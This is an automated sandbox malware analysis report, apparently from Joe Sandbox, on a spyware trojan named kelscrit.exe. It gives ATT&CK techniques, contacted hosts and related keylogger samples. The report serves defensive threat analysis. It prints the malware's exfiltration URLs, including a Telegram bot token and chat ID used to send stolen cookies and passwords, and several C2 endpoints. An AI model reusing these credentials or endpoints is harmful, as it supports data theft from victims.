Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	215 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	11 Process Injection	3 Obfuscated Files or Information	Security Account Manager	211 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	21 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	1 Clipboard Data	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	41 Virtualization/Sandbox Evasion	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	41 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
kelscrit.exe	8%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll	0%	ReversingLabs

Name	IP	Active	Malicious	Reputation
drive.google.com	172.217.19.238	true	false	high
drive.usercontent.google.com	142.250.181.129	true	false	high
reallyfreegeoip.org	172.67.177.134	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	158.101.44.242	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://api.telegram.org/bot6358867316:AAGYz8F7DpACV8KuAbFAee27mS5P18ckXUM/sendDocument?chat_id=6361450335&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery	false	high
https://api.telegram.org/bot6358867316:AAGYz8F7DpACV8KuAbFAee27mS5P18ckXUM/sendDocument?chat_id=6361450335&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery	false	high
http://checkip.dyndns.org/	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:445817%0D%0ADate%20and%20Time:%2004/12/2024%20/%2010:01:27%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20445817%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	high
https://reallyfreegeoip.org/xml/8.46.123.228	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.office.com/	kelscrit.exe, 00000004.00000002.2944271732.00000000378A1000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2944271732.0000000037892000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2944271732.00000000377B7000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/chrome_newtab	kelscrit.exe, 00000004.00000002.2945324302.0000000038979000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:445817%0D%0ADate%20a	kelscrit.exe, 00000004.00000002.2944271732.0000000037793000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	kelscrit.exe, 00000004.00000002.2945324302.0000000038979000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org	kelscrit.exe, 00000004.00000002.2944271732.000000003782E000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2944271732.0000000037853000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2944271732.0000000037793000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	kelscrit.exe, 00000004.00000002.2945324302.0000000038979000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	kelscrit.exe, 00000004.00000002.2944271732.000000003782E000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2944271732.0000000037793000.00000004.00000800.00020000.00000000.sdmp	false	high
https://translate.google.com/translate_a/element.js	kelscrit.exe, 00000004.00000003.2400295135.00000000072FA000.00000004.00000020.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000003.2400383686.00000000072FA000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/Hl	kelscrit.exe, 00000004.00000002.2923333214.0000000007288000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.office.com/lBtq	kelscrit.exe, 00000004.00000002.2944271732.000000003789C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	kelscrit.exe, 00000004.00000002.2945324302.0000000038979000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	kelscrit.exe, 00000004.00000002.2923333214.00000000072EF000.00000004.00000020.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000003.2456940413.0000000007332000.00000004.00000020.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/8.46.123.228$	kelscrit.exe, 00000004.00000002.2944271732.0000000037727000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2944271732.000000003776C000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2944271732.0000000037793000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	kelscrit.exe, 00000004.00000002.2944271732.00000000376B1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	kelscrit.exe, 00000004.00000002.2945324302.0000000038979000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	kelscrit.exe, 00000004.00000002.2945324302.0000000038A2E000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.0000000038979000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.00000000387D5000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.000000003892B000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2944271732.00000000377B7000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.0000000038787000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.00000000387FC000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	kelscrit.exe	false	high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	kelscrit.exe, 00000004.00000002.2945324302.0000000038A2E000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.0000000038979000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.00000000387D5000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.000000003892B000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2944271732.00000000377B7000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.0000000038787000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.00000000387FC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=	kelscrit.exe, 00000004.00000002.2944271732.0000000037793000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=en	kelscrit.exe, 00000004.00000002.2944271732.0000000037870000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2944271732.00000000377B7000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	kelscrit.exe, 00000004.00000002.2945324302.0000000038979000.00000004.00000800.00020000.00000000.sdmp	false	high
http://varders.kozow.com:8081	kelscrit.exe, 00000004.00000002.2944271732.00000000376B1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.office.com/K2	kelscrit.exe, 00000004.00000002.2944271732.0000000037892000.00000004.00000800.00020000.00000000.sdmp	false	high
http://aborters.duckdns.org:8081	kelscrit.exe, 00000004.00000002.2944271732.00000000376B1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ac.ecosia.org/autocomplete?q=	kelscrit.exe, 00000004.00000002.2945324302.0000000038979000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com	kelscrit.exe, 00000004.00000003.2400295135.00000000072FA000.00000004.00000020.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000003.2400383686.00000000072FA000.00000004.00000020.00020000.00000000.sdmp	false	high
http://51.38.247.67:8081/_send_.php?L	kelscrit.exe, 00000004.00000002.2944271732.000000003782E000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/	kelscrit.exe, 00000004.00000002.2923333214.0000000007288000.00000004.00000020.00020000.00000000.sdmp	false	high
http://anotherarmy.dns.army:8081	kelscrit.exe, 00000004.00000002.2944271732.00000000376B1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	kelscrit.exe, 00000004.00000002.2945324302.0000000038906000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.0000000038762000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.000000003878D000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.0000000038931000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.00000000387D7000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.0000000038A09000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	kelscrit.exe, 00000004.00000002.2945324302.0000000038979000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	kelscrit.exe, 00000004.00000002.2944271732.00000000376FC000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2944271732.000000003776C000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2944271732.0000000037793000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot6358867316:AAGYz8F7DpACV8KuAbFAee27mS5P18ckXUM/sendDocument?chat_id=6361	kelscrit.exe, 00000004.00000002.2944271732.000000003782E000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2944271732.0000000037853000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	kelscrit.exe, 00000004.00000003.2400295135.00000000072FA000.00000004.00000020.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000003.2400383686.00000000072FA000.00000004.00000020.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=enlBtq	kelscrit.exe, 00000004.00000002.2944271732.000000003786B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	kelscrit.exe, 00000004.00000002.2945324302.0000000038906000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.0000000038762000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.000000003878D000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.0000000038931000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.00000000387D7000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.0000000038A09000.00000004.00000800.00020000.00000000.sdmp	false	high
http://api.telegram.org	kelscrit.exe, 00000004.00000002.2944271732.000000003782E000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2944271732.0000000037853000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	kelscrit.exe, 00000004.00000002.2944271732.00000000376B1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	kelscrit.exe, 00000004.00000002.2945324302.0000000038979000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	kelscrit.exe, 00000004.00000002.2944271732.00000000376FC000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
172.217.19.238	drive.google.com	United States	15169	GOOGLEUS	false
142.250.181.129	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
158.101.44.242	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
172.67.177.134	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1567227
Start date and time:	2024-12-03 10:10:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	kelscrit.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/5@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 170 Number of non-executed functions: 124
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: kelscrit.exe

Simulations

Behavior and APIs

Time	Type	Description
04:12:20	API Interceptor	850x Sleep call for process: kelscrit.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	https://dsiete.co/share.html	Get hash	malicious	HTMLPhisher	Browse
	Itnaledi Salary_ Payslip _ Updates4C79949D7C31_pdf.html	Get hash	malicious	HTMLPhisher	Browse
	P#U0142atno#U015b#U0107 8557899,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=pztuconjvsFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Furlz.fr/tiku#dGFla3l1LmtpbUBoeXVuZGFpZWxldmF0b3IuY29t	Get hash	malicious	HTMLPhisher	Browse
	file.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse
	msedge.exe	Get hash	malicious	AsyncRAT, XWorm	Browse
	https://poga.blob.core.windows.net/$web/verify-your-account.html?sp=r&st=2024-12-02T06:26:51Z&se=2024-12-31T14:26:51Z&spr=https&sv=2022-11-02&sr=b&sig=AbN1l3IGSW5p4S%2Bg5uP%2BGMaA3Ltc8WWpTnk3GqW0l8c%3D#fdwncadmin@fd.org	Get hash	malicious	HTMLPhisher	Browse
	678763_PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	HALKBANK EFT RECEIPT DATED 02.12.2024.exe	Get hash	malicious	Snake Keylogger	Browse
158.101.44.242	QUOTATION_DECQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	#U00dcR#U00dcNLER 65Ve20_ B#U00fcy#U00fck mokapto Sipari#U015fi.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	New Order C0038 2024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Bukti-Transfer.vbe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	inseminating.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	Order SMG 201906 20190816order.pdf.scr.exe	Get hash	malicious	AgentTesla, MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	Teklif Talebi__77252662______PDF_PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	hesaphareketi-01-27112024.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Siparis po 1198624 _#U0130zmir #U0130stinyepark Projesi.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.130.0
	P#U0142atno#U015b#U0107 8557899,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	678763_PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	HALKBANK EFT RECEIPT DATED 02.12.2024.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	QUOTATION_DECQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	#U00dcR#U00dcNLER 65Ve20_ B#U00fcy#U00fck mokapto Sipari#U015fi.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	RFQ-2309540_27112024.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	swift.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	Cotizaci#U00f3n_Pedido_Manzanillo_MX.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
api.telegram.org	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	https://dsiete.co/share.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	Itnaledi Salary_ Payslip _ Updates4C79949D7C31_pdf.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	P#U0142atno#U015b#U0107 8557899,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=pztuconjvsFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Furlz.fr/tiku#dGFla3l1LmtpbUBoeXVuZGFpZWxldmF0b3IuY29t	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	file.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	149.154.167.220
	msedge.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	149.154.167.220
	https://poga.blob.core.windows.net/$web/verify-your-account.html?sp=r&st=2024-12-02T06:26:51Z&se=2024-12-31T14:26:51Z&spr=https&sv=2022-11-02&sr=b&sig=AbN1l3IGSW5p4S%2Bg5uP%2BGMaA3Ltc8WWpTnk3GqW0l8c%3D#fdwncadmin@fd.org	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	678763_PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	HALKBANK EFT RECEIPT DATED 02.12.2024.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
reallyfreegeoip.org	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.177.134
	P#U0142atno#U015b#U0107 8557899,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	678763_PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	HALKBANK EFT RECEIPT DATED 02.12.2024.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	QUOTATION_DECQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	#U00dcR#U00dcNLER 65Ve20_ B#U00fcy#U00fck mokapto Sipari#U015fi.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	RFQ-2309540_27112024.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	swift.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	Cotizaci#U00f3n_Pedido_Manzanillo_MX.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	https://dsiete.co/share.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	Itnaledi Salary_ Payslip _ Updates4C79949D7C31_pdf.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	P#U0142atno#U015b#U0107 8557899,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=pztuconjvsFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Furlz.fr/tiku#dGFla3l1LmtpbUBoeXVuZGFpZWxldmF0b3IuY29t	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	file.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	149.154.167.220
	msedge.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	149.154.167.220
	https://poga.blob.core.windows.net/$web/verify-your-account.html?sp=r&st=2024-12-02T06:26:51Z&se=2024-12-31T14:26:51Z&spr=https&sv=2022-11-02&sr=b&sig=AbN1l3IGSW5p4S%2Bg5uP%2BGMaA3Ltc8WWpTnk3GqW0l8c%3D#fdwncadmin@fd.org	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	678763_PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	HALKBANK EFT RECEIPT DATED 02.12.2024.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
ORACLE-BMC-31898US	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.130.0
	HALKBANK EFT RECEIPT DATED 02.12.2024.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	QUOTATION_DECQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	#U00dcR#U00dcNLER 65Ve20_ B#U00fcy#U00fck mokapto Sipari#U015fi.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	RFQ-2309540_27112024.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	swift.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	Fonts.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	New Order C0038 2024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	Ziraat_Swift.hta	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	193.122.130.0
CLOUDFLARENETUS	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.177.134
	1013911.js	Get hash	malicious	FormBook	Browse	104.21.84.67
	fred.html	Get hash	malicious	Unknown	Browse	172.67.212.141
	attached invoice.exe	Get hash	malicious	FormBook	Browse	172.67.159.24
	https://dsiete.co/share.html	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205
	https://web.goods-full.link/#/pages/recharge/components/order?type=usdt	Get hash	malicious	Unknown	Browse	104.21.66.212
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	cHtIyrhXeG.lnk	Get hash	malicious	Unknown	Browse	104.16.230.132
	HiDOalUAfc.lnk	Get hash	malicious	Unknown	Browse	104.16.231.132

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.177.134
	P#U0142atno#U015b#U0107 8557899,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	678763_PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	HALKBANK EFT RECEIPT DATED 02.12.2024.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	QUOTATION_DECQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	#U00dcR#U00dcNLER 65Ve20_ B#U00fcy#U00fck mokapto Sipari#U015fi.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	RFQ-2309540_27112024.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	swift.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	Cotizaci#U00f3n_Pedido_Manzanillo_MX.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
3b5074b1b5d032e5620f69f9f700ff0e	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	1013911.js	Get hash	malicious	FormBook	Browse	149.154.167.220
	untrippingvT.ps1	Get hash	malicious	Unknown	Browse	149.154.167.220
	yT6gJFN0SR.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220
	mX3IqRiuFo.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220
	6K2g0GMmIE.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220
	G9eWTvswoH.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220
	INTRUM65392.pdf.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.220
